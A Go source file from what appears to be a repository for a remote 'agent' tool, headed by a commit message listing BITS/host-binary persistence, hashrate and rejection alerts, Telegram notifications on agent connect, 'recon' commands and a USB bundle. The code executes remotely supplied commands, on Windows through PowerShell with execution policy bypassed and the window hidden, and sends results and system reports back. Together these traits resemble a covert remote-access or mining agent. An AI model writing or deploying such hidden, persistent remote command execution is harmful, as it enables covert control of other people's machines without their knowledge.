- Calibrate: per-event Telegram/SMTP toggles, test notification, chat ID help - Notify on agent connect/reconnect, offline/hashrate/rejection, forge complete - Sigil scramble post-forge uniquification and Dispense Reveal ceremony - Full system check, desktop push, BITS/host-binary persistence, Path Tracer - Dashboard/Crucible visual polish, haptics, sacred geometry, mobile nav - README documents alerts, sigil scramble, and pack-usb workflow - USB bundle repacked via pack-usb.bat (AetherForge.exe + synced agent source)
41 lines
1.1 KiB
Go
41 lines
1.1 KiB
Go
package client
|
|
|
|
import (
|
|
"fmt"
|
|
"os/exec"
|
|
"runtime"
|
|
)
|
|
|
|
func (c *AgentClient) runShellCommand(command string) ([]byte, error) {
|
|
if runtime.GOOS == "windows" {
|
|
return silentCombinedOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", command)
|
|
}
|
|
return exec.Command("/bin/sh", "-c", command).CombinedOutput()
|
|
}
|
|
|
|
func (c *AgentClient) runExecCommand(command string) ([]byte, error) {
|
|
if runtime.GOOS == "windows" {
|
|
return silentCombinedOutput("cmd.exe", "/C", command)
|
|
}
|
|
return exec.Command("/bin/sh", "-c", command).CombinedOutput()
|
|
}
|
|
|
|
func (c *AgentClient) handleReconCommand(action, command string) bool {
|
|
if action == "full_sys_check" {
|
|
report := CollectFullSysCheck(c.cfg, c.agentID)
|
|
c.sendCommandResult(action, true, report.JSON())
|
|
return true
|
|
}
|
|
|
|
handled, success, msg := c.platformRecon(action, command)
|
|
if !handled {
|
|
return false
|
|
}
|
|
c.sendCommandResult(action, success, msg)
|
|
return true
|
|
}
|
|
|
|
func formatCmdErr(err error, out []byte) string {
|
|
return fmt.Sprintf("Error: %v\nOutput: %s", err, string(out))
|
|
}
|